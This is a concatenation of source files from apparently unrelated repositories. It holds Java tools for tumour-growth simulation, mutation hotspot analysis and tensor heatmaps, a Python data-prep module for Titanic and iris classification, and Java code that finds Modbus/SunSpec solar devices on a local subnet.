MC.setItrForNullDist(Integer.valueOf(commandLine.getOptionValue("i"))); } if(commandLine.hasOption("p")){ MC.setPvalueCutoff(Double.valueOf(commandLine.getOptionValue("p"))); } if(commandLine.hasOption("q")){ MC.setQvalueCutoff(Double.valueOf(commandLine.getOptionValue("q"))); } if(commandLine.hasOption("r")){ MC.useExpRegression(); } if(commandLine.hasOption("c")){ MC.supressPcalculation = true; MC.calculate(); System.out.print(MC.getPearsonMatrix()); }else{ MC.calculate(); if(commandLine.hasOption("P")){ System.out.print(MC.getPvalueMatrix()); }else{ if(commandLine.hasOption("Q")){ System.out.print(MC.getQvalueMatrix()); }else{ System.out.print(MC); } } } } } <file_sep>/src/sim/BigSimulator2DwithSelection.java package sim; import java.io.FileWriter; import java.io.PrintWriter; import java.util.*; import org.apache.commons.cli.BasicParser; import org.apache.commons.cli.CommandLine; import org.apache.commons.cli.CommandLineParser; import org.apache.commons.cli.HelpFormatter; import org.apache.commons.cli.Options; import sun.reflect.Reflection; public class BigSimulator2DwithSelection extends BigSimulator2D{ //parameter int selectiveDriverSize = 4; void initializeGenomes(){ populationSize = 0; time = 0; limXY = (int) (5*Math.pow(maxPopulationSize, 0.5)); G = genomeSize/maxBinary + 1; genomes = new long[2*limXY+1][2*limXY+1][G]; state= new boolean [2*limXY+1][2*limXY+1][3]; genome2fitnessMap = new HashMap <Long, Double>(); genome2mutatedGeneMap = new HashMap <Long, Set<Integer>>(); fillCore(); } double genome2fitness(long[] genome){ if(genome2fitnessMap.containsKey(genome[0])){ return genome2fitnessMap.get(genome[0]); }else{ double fitness = 1; for(int i=0; i< driverSize - selectiveDriverSize; i++){ if(isMutated(genome,i)){ fitness *= fitnessIncrease; } } genome2fitnessMap.put(genome[0], fitness); return fitness; } } double getFitness(int x, int y){ double fitness = genome2fitness(get(x,y)); for(int i=0; i< selectiveDriverSize; i++){ int g = i+ driverSize - selectiveDriverSize; /*if(!isMutated(x, y ,g) & hasSelection(x, y, g)){ fitness = -1; }*/ if(isMutated(x, y, g) & hasSelection(x, y, g)){ fitness *= fitnessIncrease; } } return fitness; } boolean hasSelection(int x, int y, int g){ int i = g + selectiveDriverSize - driverSize; double midX = (minX + maxX)/2; double midY = (minY + maxY)/2; if(i==0){ if(x > midX & y > midY){ return true; }else{ return false; } }else if(i==1){ if(x > midX & y < midY){ return true; }else{ return false; } }else if(i==2){ if(x < midX & y < midY){ return true; }else{ return false; } }else if(i==3){ if(x < midX & y > midY){ return true; }else{ return false; } } return (Boolean) null; } public String getParmetersAsString(){ StringBuffer S = new StringBuffer(super.getParmetersAsString()); S.append("selectiveDriverSize" + "\t" + selectiveDriverSize + "\n"); return S.toString(); } public static void main(String [] args) throws Exception{ Options options = new Options(); HelpFormatter formatter = new HelpFormatter(); CommandLineParser parser = new BasicParser(); CommandLine commandLine; BigSimulator2DwithSelection S = new BigSimulator2DwithSelection(); String outfile = "out"; options.addOption("m", "mut", true, "mutaionRate (" + S.mutationRate + ")" ); options.addOption("D", "death", true, "deathRate (" + S.deathRate + ")"); options.addOption("N", "deathns", true, "deathRate for non stem cell (" + S.deathRateForNonStem + ")"); options.addOption("P", "maxpop", true, "maxPopulationSize (" + S.maxPopulationSize + ")"); options.addOption("G", "gen", true, "genomeSize (" + S.genomeSize + ")"); options.addOption("g", "grow", true, "growthRate (" + S.growthRate + ")"); options.addOption("d", "drv", true, "driverSize (" + S.driverSize + ")"); options.addOption("f", "fit", true, "fitnessIncrease (" + S.fitnessIncrease + ")"); options.addOption("p", "inipop", true, "initialPopulationSize (" + S.initialPopulationSize + ")"); options.addOption("T", "maxtime", true, "maxTime (" + S.maxTime + ")"); options.addOption("S", "sym", true, "symmetric replication probablity (" + S.symmetricReplicationProbablity + ")"); options.addOption("o", "outfile", true, "out filename"); options.addOption("s", "snap", true, "take snap shot"); try{ commandLine = parser.parse(options, args); }catch (Exception e) { formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] ", options); return ; } List <String> argList = commandLine.getArgList(); if(argList.size() != 0){ formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] ", options); return; } if(commandLine.hasOption("m")){ S.mutationRate = Double.valueOf(commandLine.getOptionValue("m")); } if(commandLine.hasOption("g")){ S.growthRate = Double.valueOf(commandLine.getOptionValue("g")); } if(commandLine.hasOption("D")){ S.deathRate = Double.valueOf(commandLine.getOptionValue("D")); } if(commandLine.hasOption("N")){ S.deathRateForNonStem = Double.valueOf(commandLine.getOptionValue("N")); } if(commandLine.hasOption("p")){ S.initialPopulationSize = Integer.valueOf(commandLine.getOptionValue("p")); } if(commandLine.hasOption("P")){ S.maxPopulationSize = Integer.valueOf(commandLine.getOptionValue("P")); } if(commandLine.hasOption("G")){ S.genomeSize = Integer.valueOf(commandLine.getOptionValue("G")); } if(commandLine.hasOption("d")){ S.driverSize = Integer.valueOf(commandLine.getOptionValue("d")); } if(commandLine.hasOption("f")){ S.fitnessIncrease = Double.valueOf(commandLine.getOptionValue("f")); } if(commandLine.hasOption("T")){ S.maxTime = Integer.valueOf(commandLine.getOptionValue("T")); } if(commandLine.hasOption("S")){ S.symmetricReplicationProbablity = Double.valueOf(commandLine.getOptionValue("S")); } if(commandLine.hasOption("o")){ outfile = commandLine.getOptionValue("o"); } S.initializeGenomes(); if(!commandLine.hasOption("s")){ S.simulate(); }else{ S.simulateWhilePrinting(outfile, Integer.valueOf(commandLine.getOptionValue("s"))); } S.printResults(outfile); } } <file_sep>/src/network/old/MutationHotSpotAnalysis.java package network.old; import java.io.IOException; import java.util.*; import java.util.zip.DataFormatException; import network.Link; import org.apache.commons.cli.BasicParser; import org.apache.commons.cli.CommandLine; import org.apache.commons.cli.CommandLineParser; import org.apache.commons.cli.HelpFormatter; import org.apache.commons.cli.Options; import sun.reflect.Reflection; import utility.MyFunc; public class MutationHotSpotAnalysis { private Link link; private Map <String, Integer> geneCount; private List <String> genes; private List <String> allGenes; private int resamplingNumber = 1000; private Map <String,Integer> hotSpot; private List <Integer> hotSpotNull; private Map <String,Double> hotSpotP; private HotSpotFunc hotSpotFunc; private String pivot = ""; public MutationHotSpotAnalysis(){ hotSpot = new HashMap<String, Integer>(); hotSpotNull = new ArrayList<Integer>(); hotSpotP = new HashMap<String, Double>(); hotSpotFunc = new HotNeighborPairs(); } public void setLink(Link link){ this.link = link; allGenes = link.getNodeName(); } public void setLink(String infile) throws IOException, DataFormatException{ link = new Link(infile); allGenes = link.getNodeName(); } public void setGeneCount(String infile) throws IOException, DataFormatException{ Map<String, String> tmp = MyFunc.readStringStringMap(infile); geneCount = new HashMap<String, Integer>(); for(String k: tmp.keySet()){ if(link.containsNode(k)){ geneCount.put(k, Integer.valueOf(tmp.get(k))); } } genes = new ArrayList<String>(geneCount.keySet()); } public void setPivot(String pivot){ if(link.containsNode(pivot)){ this.pivot = pivot; } } public void setHotSpotFunc(int i){ switch(i){ case 0: hotSpotFunc = new HotNeighborPairs(); break; case 1: hotSpotFunc = new HotSemiNeighborPairs(); break; case 2: hotSpotFunc = new HotSpotsOfDiameter2(); break; case 3: hotSpotFunc = new HotSpotsOfDiameter3(); break; default: } } public void setResamplingNumber(int resamplingNumber){ this.resamplingNumber = resamplingNumber; } interface HotSpotFunc { public Map <String, Integer> get (Map <String, Integer> geneCount); public Map <String, Integer> get (Map <String, Integer> geneCount, String pivot); } private class HotNeighborPairs implements HotSpotFunc { public String toString(){ return "HotNeighborPairs"; } public Map <String, Integer> get(Map <String, Integer> geneCount){ List <String> genes = new ArrayList<String>(geneCount.keySet()); Map <String,Integer> hotPairs = new LinkedHashMap<String, Integer>(); for(String g1: genes){ for(String g2: genes){ if(g1.compareTo(g2)<0){ if(link.get(g1,g2)){ hotPairs.put(g1 + ":" + g2, geneCount.get(g1)+geneCount.get(g2)); } } } } return hotPairs; } public Map <String, Integer> get(Map <String, Integer> geneCount, String pivot){ List <String> genes = new ArrayList<String>(geneCount.keySet()); Map <String,Integer> hotPairs = new LinkedHashMap<String, Integer>(); for(String g1: genes){ if(!g1.equals(pivot) && link.get(g1,pivot)){ hotPairs.put(g1 + ":" + pivot, geneCount.get(g1)); } } return hotPairs; } } private class HotSemiNeighborPairs implements HotSpotFunc { public String toString(){ return "HotSemiNeighborPairs"; } public Map <String, Integer> get(Map <String, Integer> geneCount){ List <String> genes = new ArrayList<String>(geneCount.keySet()); Map <String,Integer> hotPairs = new LinkedHashMap<String, Integer>(); for(String g1: genes){ for(String g2: genes){ if(g1.compareTo(g2)<0){ if(link.havePath(g1,g2,2)){ hotPairs.put(g1 + ":" + g2, geneCount.get(g1)+geneCount.get(g2)); } } } } return hotPairs; } public Map <String, Integer> get(Map <String, Integer> geneCount, String pivot){ List <String> genes = new ArrayList<String>(geneCount.keySet()); Map <String,Integer> hotPairs = new LinkedHashMap<String, Integer>(); for(String g1: genes){ if(!g1.equals(pivot) && (link.get(g1,pivot) || link.havePath(g1,pivot,2))){ hotPairs.put(g1 + ":" + pivot, geneCount.get(g1)); } } return hotPairs; } } private class HotSpotsOfDiameter2 implements HotSpotFunc{ public String toString(){ return "HotSpotsOfDiameter2"; } public Map <String, Integer> get(Map <String, Integer> geneCount){ List <String> genes = new ArrayList<String>(geneCount.keySet()); Map <String,Integer> hotSpotsOfDiameter2 = new HashMap<String, Integer>(); Set <String> tmp = new HashSet<String>(genes); for(String g1: genes){ for(String g2: link.getNeighbors(g1)){ tmp.add(g2); } } for(String g1: tmp){ Set <String> hot = new HashSet<String>(); int count = 0; if(geneCount.containsKey(g1)){ hot.add(g1); count += geneCount.get(g1); } for(String g2: link.getNeighbors(g1)){ if(geneCount.containsKey(g2) & !hot.contains(g2)){ hot.add(g2); count += geneCount.get(g2); } } if(hot.size() == 1){ continue; } List <String> hot2 = new ArrayList<String>(hot); Collections.sort(hot2); String tmp2 = MyFunc.join(":", hot2); hotSpotsOfDiameter2.put(tmp2, count); } return hotSpotsOfDiameter2; } public Map <String, Integer> get(Map <String, Integer> geneCount, String pivot){ Map <String,Integer> hotSpotsOfDiameter2 = new HashMap<String, Integer>(); Set <String> tmp = new HashSet<String>(); tmp.add(pivot); for(String g2: link.getNeighbors(pivot)){ tmp.add(g2); } for(String g1: tmp){ Set <String> hot = new HashSet<String>(); hot.add(pivot); int count = 0; if(geneCount.containsKey(g1)){ hot.add(g1); if(!g1.equals(pivot)){ count += geneCount.get(g1); } } for(String g2: link.getNeighbors(g1)){ if(geneCount.containsKey(g2) & !hot.contains(g2)){ hot.add(g2); if(!g2.equals(pivot)){ count += geneCount.get(g2); } } } if(hot.size() == 1){ continue; } List <String> hot2 = new ArrayList<String>(hot); Collections.sort(hot2); String tmp2 = MyFunc.join(":", hot2); hotSpotsOfDiameter2.put(tmp2, count); } return hotSpotsOfDiameter2; } } private class HotSpotsOfDiameter3 implements HotSpotFunc{ public String toString(){ return "HotSpotsOfDiameter3"; } public Map <String, Integer> get(Map <String, Integer> geneCount){ List <String> genes = new ArrayList<String>(geneCount.keySet()); Map <String,Integer> hotSpotsOfDiameter3 = new HashMap<String, Integer>(); Set <String> tmp = new HashSet<String>(genes); for(String g1: genes){ tmp.addAll(link.getNeighbors(g1)); } Set <String[]> corePair = new HashSet<String[]>(); for(String g1: tmp){ for(String g2: tmp){ if(g1.compareTo(g2)<0){ if(link.get(g1, g2)){ String[] tmp2 = {g1, g2}; corePair.add(tmp2); } } } } for(String[] cp: corePair){ Set <String> hot = new HashSet<String>(); int count = 0; if(geneCount.containsKey(cp[0])){ hot.add(cp[0]); count += geneCount.get(cp[0]); } if(geneCount.containsKey(cp[1])){ hot.add(cp[1]); count += geneCount.get(cp[1]); } for(String g1: link.getNeighbors(cp[0])){ if(geneCount.containsKey(g1) & !hot.contains(g1)){ hot.add(g1); count += geneCount.get(g1); } } for(String g2: link.getNeighbors(cp[1])){ if(geneCount.containsKey(g2) & !hot.contains(g2)){ hot.add(g2); count += geneCount.get(g2); } } List <String> hot2 = new ArrayList<String>(hot); Collections.sort(hot2); String tmp2 = MyFunc.join(":", hot2); if(hot.size() == 1){ continue; } hotSpotsOfDiameter3.put(tmp2, count); } return hotSpotsOfDiameter3; } public Map <String, Integer> get(Map <String, Integer> geneCount, String pivot){ List <String> genes = new ArrayList<String>(geneCount.keySet()); Map <String,Integer> hotSpotsOfDiameter3 = new HashMap<String, Integer>(); Set <String> tmp = new HashSet<String>(genes); tmp.add(pivot); tmp.addAll(link.getNeighbors(pivot)); Set <String[]> corePair = new HashSet<String[]>(); for(String g1: tmp){ for(String g2: tmp){ if(g1.compareTo(g2)<0){ if(link.get(g1, g2)){ String[] tmp2 = {g1, g2}; corePair.add(tmp2); } } } } for(String[] cp: corePair){ Set <String> hot = new HashSet<String>(); int count = 0; if(cp[0].equals(pivot)){ hot.add(cp[0]); }else if(geneCount.containsKey(cp[0])){ hot.add(cp[0]); count += geneCount.get(cp[0]); } if(cp[1].equals(pivot)){ hot.add(cp[1]); }else if(geneCount.containsKey(cp[1])){ hot.add(cp[1]); count += geneCount.get(cp[1]); } for(String g1: link.getNeighbors(cp[0])){ if(g1.equals(pivot)){ hot.add(g1); }else if(geneCount.containsKey(g1) & !hot.contains(g1)){ hot.add(g1); count += geneCount.get(g1); } } for(String g2: link.getNeighbors(cp[1])){ if(g2.equals(pivot)){ hot.add(g2); }else if(geneCount.containsKey(g2) & !hot.contains(g2)){ hot.add(g2); count += geneCount.get(g2); } } if(!hot.contains(pivot)){ continue; } List <String> hot2 = new ArrayList<String>(hot); Collections.sort(hot2); String tmp2 = MyFunc.join(":", hot2); if(hot.size() == 1){ continue; } hotSpotsOfDiameter3.put(tmp2, count); } return hotSpotsOfDiameter3; } } private void gethotSpots(){ hotSpot = hotSpotFunc.get(geneCount); sortResult(); } private void gethotSpots(String pivot){ hotSpot = hotSpotFunc.get(geneCount, pivot); sortResult(); } private Map <String, Integer> getNullGeneCount(){ List <String> tmp = MyFunc.sampleWithReplacement(allGenes, genes.size()); Map <String, Integer> tmp2 = new HashMap<String, Integer>(); for(String s: tmp){ if(tmp2.containsKey(s)){ tmp2.put(s, tmp2.get(s)+1); }else{ tmp2.put(s, 1); } } return tmp2; } private Map <String, Integer> getNullGeneCount(String pivot){ int k; if(geneCount.containsKey(pivot)){ k = geneCount.get(pivot); }else{ k = 0; } List <String> tmp = MyFunc.sampleWithReplacement(allGenes, genes.size() - k); Map <String, Integer> tmp2 = new HashMap<String, Integer>(); for(String s: tmp){ if(tmp2.containsKey(s)){ tmp2.put(s, tmp2.get(s)+1); }else{ tmp2.put(s, 1); } } if(geneCount.containsKey(pivot)){ tmp2.put(pivot, k); } return tmp2; } private void generateNullDist(){ for(int i = 0; i < resamplingNumber; i++){ Map <String, Integer> nullgeneCount = getNullGeneCount(); hotSpotNull.add(max(hotSpotFunc.get(nullgeneCount).values())); } } private void generateNullDist(String pivot){ for(int i = 0; i < resamplingNumber; i++){ Map <String, Integer> nullgeneCount = getNullGeneCount(pivot); hotSpotNull.add(max(hotSpotFunc.get(nullgeneCount,pivot).values())); } } private int max(Collection <Integer> v ){ int m = 0; for(Integer i : v){ if(i > m){ m = i; } } return m; } private void getPvalues(){ for(String s: hotSpot.keySet()){ int count = hotSpot.get(s); double p = 0.0; for(Integer i: hotSpotNull){ if(i >= count){ p++; } } p /= hotSpotNull.size(); hotSpotP.put(s, p); } } private void sortResult(){ hotSpot = sortMap(hotSpot); } private static Map <String,Integer> sortMap(Map <String,Integer> map){ Map<Integer,List<String>> newMap = new HashMap<Integer,List<String>>(); for(Map.Entry<String,Integer> e : map.entrySet()){ if(newMap.containsKey(e.getValue())){ (newMap.get(e.getValue())).add(e.getKey()); }else{ List<String> tmp = new ArrayList<String>(); tmp.add(e.getKey()); newMap.put(e.getValue(), tmp); } } List <Integer> tmp = new ArrayList<Integer>(newMap.keySet()); Collections.sort(tmp); Collections.reverse(tmp); Map <String, Integer> sortedMap = new LinkedHashMap<String, Integer>(); for(Integer i: tmp){ for(String s: newMap.get(i)){ sortedMap.put(s, i); } } return sortedMap; } public String toString(){ List <String> tmp = new ArrayList<String>(); for(String s: hotSpot .keySet()){ tmp.add(s + "\t" + hotSpot .get(s) + "\t" + hotSpotP.get(s)); } if(tmp.size()==0){ return "no gene pair!\n"; }else{ return MyFunc.join("\n", tmp) + "\n"; } } public void perform(){ if(pivot == ""){ gethotSpots(); generateNullDist(); }else{ gethotSpots(pivot); generateNullDist(pivot); } getPvalues(); } public static void main(String [] args) throws Exception{ Options options = new Options(); options.addOption("p", "pivot", true, "geneName"); options.addOption("r", "resamp", true, "# of resamplings for P value calculation (default:1000)"); options.addOption("0", "nbr", false, "search HotNeighborPairs (default)"); options.addOption("1", "snbr", false, "search HotSemNeighborPairs"); options.addOption("2", "dmtr2", false, "search HotSpotsOfDiameter2"); options.addOption("3", "dmtr3", false, "search HotSpotsOfDiameter3"); HelpFormatter formatter = new HelpFormatter(); CommandLineParser parser = new BasicParser(); CommandLine commandLine; try{ commandLine = parser.parse(options, args); }catch (Exception e) { formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] linkFile geneCountFile", options); return ; } List <String> argList = commandLine.getArgList(); if(argList.size() != 2){ formatter.printHelp(Reflection.getCallerClass( 1 ).getName() + " [options] linkFile geneCountFile", options); return; } MutationHotSpotAnalysis M = new MutationHotSpotAnalysis(); M.setLink(argList.get(0)); M.setGeneCount(argList.get(1)); if(commandLine.hasOption("0")){ M.setHotSpotFunc(0); } if(commandLine.hasOption("1")){ M.setHotSpotFunc(1); } if(commandLine.hasOption("2")){ M.setHotSpotFunc(2); } if(commandLine.hasOption("3")){ M.setHotSpotFunc(3); } if(commandLine.hasOption("p")){ M.setPivot(commandLine.getOptionValue("p")); } if(commandLine.hasOption("r")){ M.setResamplingNumber(Integer.valueOf(commandLine.getOptionValue("r"))); } M.perform(); System.out.print(M); } } <file_sep>/src/tensor/SlicePrinter.java package tensor; import java.awt.BorderLayout; import java.awt.Dimension; import java.util.List; import javax.swing.JFrame; import javax.swing.JScrollPane; import org.apache.commons.cli.BasicParser; import org.apache.commons.cli.CommandLine; import org.apache.commons.cli.CommandLineParser; import org.apache.commons.cli.HelpFormatter; import org.apache.commons.cli.Options; import processing.core.PApplet; import utility.MyFunc; import utility.StringMat; import utility.HierarchicalClustering.ClusterDistFuncType; public class SlicePrinter extends JFrame{ private static final long serialVersionUID = 1L; public SlicePrinter (final PApplet C) throws Exception{ super("SlicePrinter"); JScrollPane scr = new JScrollPane(C); scr.setPreferredSize(new Dimension(200, 100)); getContentPane().add(scr, BorderLayout.CENTER); C.init(); setLocation(100, 100); setSize(500, 500); setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); } public static void main(String[] args) throws Exception { Options options = new Options(); options.addOption("s", "supclust", false, "suppress clustering"); options.addOption("o", "outclustbin", true, "output clustered tensor binary file"); options.addOption("S", "sliceord", true, "sliced order"); options.addOption("b", "inclustbin", false, "read infile as clustered tensor binary file"); options.addOption("k", "order1clust", true, "the number of order1 clusters"); options.addOption("l", "order2clust", true, "the number of order2 clusters"); options.addOption("m", "order3clust", true, "the number of order3 clusters"); options.addOption("a", "annot", true, "annot matrix files (split by ':')"); options.addOption("A", "annotGmt", true, "annot matrix files in gmt format (split by ':')"); options.addOption("C", "complete", false, "perform complete clustering"); options.addOption("w", "ward", false, "perform ward clustering"); options.addOption("r", "red", false, "use red color scale"); options.addOption("R", "annotred", false, "use red color scale for annot bar"); options.addOption("B", "fixbox", false, "fix box size"); options.addOption("O", "outfile", true, "output pdf file"); HelpFormatter formatter = new HelpFormatter(); CommandLineParser parser = new BasicParser(); CommandLine commandLine; try{ commandLine = parser.parse(options, args); }catch (Exception e) { formatter.printHelp("Expression [options] tensorfile", options); return; } List <String> argList = commandLine.getArgList(); if(argList.size() != 1){ formatter.printHelp("Expression [options] tensorfile ", options); return; } ClusteredOrder3TensorWithAnnotation T; int k = 0; int l = 0; int m = 0; if(commandLine.hasOption("b")){ T = new ClusteredOrder3TensorWithAnnotation(ClusteredOrder3Tensor.readFromBinary(argList.get(0))); }else{ T = new ClusteredOrder3TensorWithAnnotation(argList.get(0)); if(!commandLine.hasOption("s")){ if(commandLine.hasOption("C")){ T.setClusterDistFunc(ClusterDistFuncType.COMPLETE); } if(commandLine.hasOption("w")){ T.setClusterDistFunc(ClusterDistFuncType.WARD); } T.performClustering(); } } if(commandLine.hasOption("o")){ T.printAsBinary(commandLine.getOptionValue("o")); } if(commandLine.hasOption("a")){ List<String> tmp = MyFunc.split(":",commandLine.getOptionValue("a")); for(String s: tmp){ T.setAnnotation(new StringMat(s)); } } if(commandLine.hasOption("A")){ List<String> tmp = MyFunc.split(":",commandLine.getOptionValue("A")); for(String s: tmp){ T.setAnnotation(StringMat.getStringMatFromGmtFile(s)); } } if(commandLine.hasOption("k")){ k = Integer.valueOf(commandLine.getOptionValue("k")); } if(commandLine.hasOption("l")){ l = Integer.valueOf(commandLine.getOptionValue("l")); } if(commandLine.hasOption("m")){ m = Integer.valueOf(commandLine.getOptionValue("m")); } if(k > 1){ T.addAnnotation(new StringMat("order1cluster", T.getOrder1Clustering().getCutTreeMap(k))); } if(l > 1){ T.addAnnotation(new StringMat("order2cluster", T.getOrder2Clustering().getCutTreeMap(l))); } if(m > 1){ T.addAnnotation(new StringMat("order3cluster", T.getOrder3Clustering().getCutTreeMap(m))); } Order3TensorViewer TV = new Order3TensorViewer(T); if(commandLine.hasOption("S")){ int i = Integer.valueOf(commandLine.getOptionValue("S")); if(i==1||i==2||i==3){ TV.setSlicedOder(i); TV.calculateSize(); } } if(commandLine.hasOption("r")){ TV.setProfileColor("white", "red"); } //if(commandLine.hasOption("R")){ // TV.setAnnotBandColor("white", "red"); //} //T.print(); if(commandLine.hasOption("B")){ //TV.setBoxHeight(10); //TV.setBoxWidth(10); //TV.calculateSize(); } if(commandLine.hasOption("O")){ TV.setOutFile(commandLine.getOptionValue("O")); TV.useAutoStop(); TV.init(); }else{ Order3TensorSliceHeatMap H = new Order3TensorSliceHeatMap(TV); H.setVisible(true); } } }
55b4885bd417bc9ac8b2629fb0b9273cf5d711e4
[ "Java", "INI" ]
37
Java
HumanGenomeCenter/java
f5bcc014659c629c9939a2d0e0bf5fc2b6c19193
c63d26e0f1e1d87161d0097faacdac8c274686e0
refs/heads/main
<repo_name>christophermayorga/classification-exercises<file_sep>/prepare.py from pydataset import data import seaborn as sns import pandas as pd import numpy as np import os from env import host, user, password, get_db_url from sklearn.model_selection import train_test_split from sklearn.impute import SimpleImputer def prep_iris(df): ''' takes in a dataframe of the iris dataset as it is acquired and returns a cleaned dataframe arguments: df: a pandas DataFrame with the expected feature names and columns return: clean_df: a dataframe with the cleaning operations performed on it ''' df = df.drop(columns=['species_id', 'measurement_id']) df = df.rename(columns={'species_name': 'species'}) dummy_df = pd.get_dummies(df[['species']], dummy_na=False, drop_first=[True]) df = pd.concat([df, dummy_df], axis=1) return df def impute_mode(train, validate, test): ''' impute mode for embark_town ''' imputer = SimpleImputer(strategy='most_frequent', missing_values=None) train[['embark_town']] = imputer.fit_transform(train[['embark_town']]) validate[['embark_town']] = imputer.transform(validate[['embark_town']]) test[['embark_town']] = imputer.transform(test[['embark_town']]) return train, validate, test def prep_titanic_data(df): ''' takes in a dataframe of the titanic dataset as it is acquired and returns a cleaned dataframe arguments: df: a pandas DataFrame with the expected feature names and columns return: train, test, split: three dataframes with the cleaning operations performed on them ''' df = df.drop_duplicates() df = df.drop(columns=['deck', 'embarked', 'class', 'age', 'passenger_id']) train, test = train_test_split(df, test_size=0.2, random_state=1349, stratify=df.survived) train, validate = train_test_split(train, train_size=0.7, random_state=1349, stratify=train.survived) train, validate, test = impute_mode(train, validate, test) dummy_train = pd.get_dummies(train[['sex', 'embark_town']], drop_first=[True,True]) dummy_validate = pd.get_dummies(validate[['sex', 'embark_town']], drop_first=[True,True]) dummy_test = pd.get_dummies(test[['sex', 'embark_town']], drop_first=[True,True]) train = pd.concat([train, dummy_train], axis=1) validate = pd.concat([validate, dummy_validate], axis=1) test = pd.concat([test, dummy_test], axis=1) train = train.drop(columns=['sex', 'embark_town']) validate = validate.drop(columns=['sex', 'embark_town']) test = test.drop(columns=['sex', 'embark_town']) return train, validate, test def prep_titanic_data_for_logit(df): ''' takes in a dataframe of the titanic dataset as it is acquired and returns a cleaned dataframe arguments: df: a pandas DataFrame with the expected feature names and columns return: train, test, split: three dataframes with the cleaning operations performed on them ''' df = df.drop_duplicates() df = df.drop(columns=['deck', 'embarked', 'class', 'passenger_id']) df.age = df.age.fillna(value=df.age.mean()) train, test = train_test_split(df, test_size=0.2, random_state=1349, stratify=df.survived) train, validate = train_test_split(train, train_size=0.7, random_state=1349, stratify=train.survived) train, validate, test = impute_mode(train, validate, test) dummy_train = pd.get_dummies(train[['sex', 'embark_town']], drop_first=[True,True]) dummy_validate = pd.get_dummies(validate[['sex', 'embark_town']], drop_first=[True,True]) dummy_test = pd.get_dummies(test[['sex', 'embark_town']], drop_first=[True,True]) train = pd.concat([train, dummy_train], axis=1) validate = pd.concat([validate, dummy_validate], axis=1) test = pd.concat([test, dummy_test], axis=1) train = train.drop(columns=['sex', 'embark_town']) validate = validate.drop(columns=['sex', 'embark_town']) test = test.drop(columns=['sex', 'embark_town']) return train, validate, test<file_sep>/README.md # classification-exercises This repo will hold my exercises for the classification module at CodeUp.
823d16dcfc4fec18905b12cf3cd862f106fbd71d
[ "Markdown", "Python" ]
2
Python
christophermayorga/classification-exercises
3f8d6edd1e1b38c789701e22c0b84c879aa1bff3
06f815bffe478e04f6429e98f304ab015ad75553
refs/heads/master
<file_sep>/* * Copyright © 2016 , <NAME>. All rights reserved. * * * THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY * KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE CONTRIBUTORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR * IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE * SOFTWARE. */ package ch.retep.relleum.network; import java.io.IOException; import java.net.InetAddress; import java.net.InetSocketAddress; import java.net.InterfaceAddress; import java.net.NetworkInterface; import java.net.Socket; import java.net.UnknownHostException; import java.util.Enumeration; import java.util.Iterator; import java.util.List; import java.util.Vector; import java.util.logging.Level; import java.util.logging.Logger; import ch.retep.relleum.modbus.Read0X03; import ch.retep.relleum.sunspec.SunSpecAdressItem; import ch.retep.relleum.sunspec.TcpModbusHandler; import ch.retep.relleum.sunspec.read.table.TableSunspec; public class LocalNet { private static boolean ret = false; private static boolean res = false; private static boolean isSunspec(SunSpecAdressItem sunSpecAdressItem) { try { TcpModbusHandler tcpModbusHandler = new TcpModbusHandler(); tcpModbusHandler.connect(sunSpecAdressItem); tcpModbusHandler.setStartingAdress(sunSpecAdressItem.getStartingAdress()); TableSunspec sunspecID = new TableSunspec(tcpModbusHandler) { @Override public void doOnResponse() { ret = getSunSpecID().toLong() == 0x53756e53; res = true; } }; sunspecID.init(sunSpecAdressItem.getStartingAdress() + 1, 0, 2, "init", "", "init sunspec", Read0X03.Rw.R, Read0X03.Mandatory.M); tcpModbusHandler.sendRequest(sunspecID); tcpModbusHandler.close(); int tout = 0; while (tout < 100 && !res) { Thread.sleep(100); tout++; } return ret; } catch (InterruptedException ex) { Logger.getLogger(LocalNet.class.getName()).log(Level.SEVERE, null, ex); } return ret; } public static Iterator<InetAddress> getAllSunSpecInLocalNetwork(SunSpecAdressItem sunSpecAdressItem) { Vector<InetAddress> vector = new Vector<>(); for (Iterator<InetAddress> iterator = getAllModbusInLocalNetwork(); iterator != null && iterator.hasNext(); ) { InetAddress address = iterator.next(); if (isSunspec(sunSpecAdressItem)) { vector.add(address); } } return vector.iterator(); } public static Iterator<InetAddress> scanNetoworkAtPort(InetAddress inetAddress,int port){ Vector<InetAddress> inetAddresses = new Vector<>(); InetAddress localhost; localhost = inetAddress; byte[] ip = localhost != null ? localhost.getAddress() : new byte[0]; for (int i = 0; i <= 255; i++) { ip[3] = (byte) i; InetAddress address; try { address = InetAddress.getByAddress(ip); } catch (UnknownHostException ex) { System.out.println(ex.toString()); return null; } if (isReachable(address.getHostAddress(), port, 50)) { inetAddresses.add(address); } } return inetAddresses.iterator(); } public static Iterator<InetAddress> getAllModbusInLocalNetwork() { Vector<InetAddress> inetAddresses = new Vector<>(); InetAddress localhost; localhost = getLocalIpAddress(); byte[] ip = localhost != null ? localhost.getAddress() : new byte[0]; for (int i = 0; i <= 254; i++) { ip[3] = (byte) i; InetAddress address; try { address = InetAddress.getByAddress(ip); } catch (UnknownHostException ex) { System.out.println(ex.toString()); return null; } if (isReachable(address.getHostAddress(), 502, 50)) { inetAddresses.add(address); } } return inetAddresses.iterator(); } private static boolean isReachable(String addr, int openPort, int timeOutMillis) { try { Socket soc = new Socket(); soc.connect(new InetSocketAddress(addr, openPort), timeOutMillis); soc.close(); return true; } catch (IOException ex) { // System.out.println(ex.getMessage()); return false; } } public static InetAddress getLocalIpAddress() { try { for (Enumeration<NetworkInterface> en = NetworkInterface.getNetworkInterfaces(); en.hasMoreElements(); ) { NetworkInterface intf = en.nextElement(); List<InterfaceAddress> interfaceAddresses = intf.getInterfaceAddresses(); for (InterfaceAddress interfaceAddress : interfaceAddresses) { if (interfaceAddress.getBroadcast() != null) { return interfaceAddress.getBroadcast(); } } } } catch (Exception ex) { System.err.println(ex); } return null; } } <file_sep>/* * Copyright © 2017 , <NAME>. All 